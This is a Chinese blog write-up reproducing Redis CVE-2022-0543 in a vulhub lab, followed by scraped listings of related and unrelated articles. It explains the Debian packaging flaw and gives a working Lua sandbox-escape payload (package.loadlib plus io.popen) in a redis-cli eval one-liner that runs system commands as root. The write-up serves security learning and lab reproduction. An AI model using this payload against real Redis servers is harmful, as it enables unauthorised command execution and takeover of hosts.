渗透环境

攻击机:   IP: 192.168.66.130(Kali)

漏洞收录于:vulhub/redis/CVE-2022-0543

涉及知识点:redis沙盒逃逸

漏洞详情

受影响的系统

  • 仅限于 Debian 系 Linux 发行版(如 Debian、Ubuntu)及其衍生版本。
  • 不受影响的系统:CentOS、RHEL 等非 Debian 系发行版不受此漏洞影响(漏洞源于 Debian 维护者在打包 Redis 时的补丁问题,而非 Redis 自身代码问题)。

受影响的 Redis 版本范围

  • redis版本小于等于6.x的都可以尝试。

触发条件

​ 攻击者需具备 Redis 的未授权访问权限或合法凭证。

漏洞原理

  1. 背景

    Redis 允许通过 eval 命令执行 Lua 脚本,但正常情况下这些脚本运行在沙箱中,无法执行系统命令或文件操作。

  2. 补丁引入的漏洞

    Debian/Ubuntu 在打包 Redis 时,通过补丁代码向 Lua 沙箱中注入了一个名为 package 的全局对象。该对象本应在源码中被注释(出于沙箱安全考虑),但补丁错误地重新启用了它。

  3. 沙盒逃逸过程

    • 加载动态库:攻击者可通过 package.loadlib 加载 Lua 系统库(如 liblua5.1.so.0),调用其导出函数(如 luaopen_io)获取 io 库权限。
    • 执行命令:利用 io.popen 等函数执行任意系统命令。
    local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
    local io = io_l();
    local f = io.popen("whoami", "r"); -- 执行系统命令
    local res = f:read("*a");
    f:close();
    return res;

攻击思路

单从攻击角度而言,可以使用redis未授权相同的打法,博客见:【vulhub】redis 4-unacc (redis未授权访问) - Mr_Soap - 博客园

从漏洞角度来看,使用eval函数执行上面的逃逸过程即可。

复现漏洞

一、 启动漏洞容器

docker-compose up -d

可以看到redis运行在默认端口6379上

二、未授权连接

redis-cli -h 192.168.66.130

redis-cli -h [IP] -p [port] -a [password]

当使用默认端口6379时可不使用参数-p

测试连接,ping一下,成功连接

三、get shell

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");local io = io_l();local f = io.popen("whoami", "r");local res = f:read("*a");f:close();return res;' 0

可以看到命令都已经成功执行,我们已经拿到了root权限

【vulhub】redis CVE-2022-0543(redis沙盒逃逸)的更多相关文章

  1. 再谈CVE-2017-7047 Triple_Fetch和iOS 10.3.2沙盒逃逸

    作者:蒸米 ----------------- 0x00 序 Ian Beer@google发布了CVE-2017-7047Triple_Fetch的exp和writeup[1],chenliang@ ...

  2. python沙盒逃逸

    前言 最近遇到了很多python沙盒逃逸的题目(不知道是不是因为现在python搭的站多了--),实际使用时发现只会复制别人的payload是不够用的,于是自己来总结一波(顺带一提python沙盒逃逸 ...

  3. SSTI注入绕过(沙盒逃逸原理一样)

    在python沙盒逃逸中绕过道理是一样的. 1.python沙盒中删除了很多模块,但是没有删除reload reload(__builtins__),重新加载被删除的模块,直接命令执行,只用于py2 ...

  4. python-Flask模版注入攻击SSTI(python沙盒逃逸)

    一篇以python Flask 模版渲染为例子的SSTI注入教学~ 0x01 Flask使用和渲染 这里简化了flask使用和渲染的教程 只把在安全中我们需要关注的部分写出来 来一段最简单的FLASK ...

  5. seccomp沙盒逃逸基础——沙盒的规则编写

    seccomp沙盒逃逸基础--沙盒的规则编写 引入: 安全计算模式 seccomp(Secure Computing Mode)是自 Linux 2.6.10 之后引入到 kernel 的特性.一切都 ...

  6. Vulhub 漏洞学习之:Redis

    Vulhub 漏洞学习之:Redis 1 Redis简介 Redis 是完全开源的,遵守 BSD 协议,是一个高性能的 key-value 数据库.Redis 与其他 key - value 缓存产品 ...

  7. 为什么 Redis 的查询很快, Redis 如何保证查询的高效

    Redis 如何保证高效的查询效率 为什么 Redis 比较快 Redis 中的数据结构 1.简单动态字符串 SDS 对比 c 字符串的优势 SDS可以常数级别获取字符串的长度 杜绝缓冲区溢出 减少修 ...

  8. CVE-2015-1427(Groovy 沙盒绕过 && 代码执行漏洞)

    1.vulhub环境搭建 https://blog.csdn.net/qq_36374896/article/details/84102101 2.启动docker环境 cd vulhub-maste ...

  9. 沙盒解决方案解决SharePoint 2013 以其他身份登陆的问题

    众所周知,SharePoint 2013没有像SharePoint 2010那样有一个叫"以其他身份登录"的菜单项. 当然解决方案也很多,比如你可以直接修改Welcome.ascx ...

  10. SharePoint 2013 沙盒解决方案不能激活(激活按钮不可用)

    把沙盒解决方案上传到目标站点的"解决方案"库中,发现"激活"按钮是灰掉的,不可用. 首先,我想到的是权限不足,所以 "以管理员身份"启动IE ...

随机推荐

  1. Flutter 错误The argument type 'Color' can't be assigned to the parameter type 'MaterialStateProperty<Color?>?'.dart(argument_type_not_assignable)

    MaterialStateProperty<Color?>?和Color 当为TextButton等button添加颜色时,使用ButtonStyle为其添加颜色 TextButton( ...

  2. 中电金信:亚洲TOP1 霸榜15年

    近日,国际权威语言服务研究机构CSA Research公布了<2022年全球语言服务提供商100强>和<亚太地区TOP 30语言服务商>排名报告. 中电金信凭借卓越的品质管控. ...

  3. Net6之Jwt认证+Bearer认证 2.0

    以前接触过,写过博客,第二次再写有了新的体会.第一次博客:https://www.cnblogs.com/zhang-3/p/16184067.html 过程: 生成token令牌(钥匙) 添加bea ...

  4. VSTO踩坑记录(2)- 运用outlook对象模型发送邮件

    概述 上篇文章记录了怎么样让vsto插件显示在功能区上面,这篇文章来说说怎么运用微软提供的对象方法对outlook进行操作,附上官方文档. 这次示例我们来用代码发一封邮件,先简单拉几个控件,分别代表要 ...

  5. CountDownLatch底层原理和示例

    CountDownLatch 是一个同步工具类,允许一个线程或者多个线程等待其他线程完成操作,再执行. CountDownLatch(int count) 构造一个用给定计数初始化的 CountDow ...

  6. java多线程---总结(2)

    ThreadPoolExecutor 官方API解释线程池的好处: (1)通过重用线程池中的线程,来减少每个线程创建和销毁的性能开销. (2)对线程进行一些维护和管理,比如定时开始,周期执行,并发数控 ...

  7. .net工作流elsa-书签

    啥是书签 流程引擎的核心关注点是安排流程,如:第1步做什么 → 第2步做什么 → 第n步做什么...,至于各步骤具体是怎么做的,是由你来决定的,这不是流程引擎关注的重点. 流程安排可能会涉及到分叉.并 ...

  8. python的typing模块

    python的typing模块 参考:3个提高 Python 开发效率的小工具.Python3 Typing模块详解 typeing模块在python中提供类型支持,主要功能有: 类型检查,防止运行时 ...

  9. GitHub 图片无法加载(持续更新)

    问题 Github无法加载或不显示图片(头像等) 方法 打开路径 C:\Windows\System32\drivers\etc下的hosts文件增加如下内容: 注:hosts文件一般不能直接修改保存 ...

  10. AGC018

    AGC018 B 题目大意 举办一场运动会,有 \(N\) 人,\(M\) 个项目,每个人所有项目都有一个排名,会选择参加排名最高且开设的项目,现在要开设若干项目使得人数最多的项目人数尽可能小,求这个 ...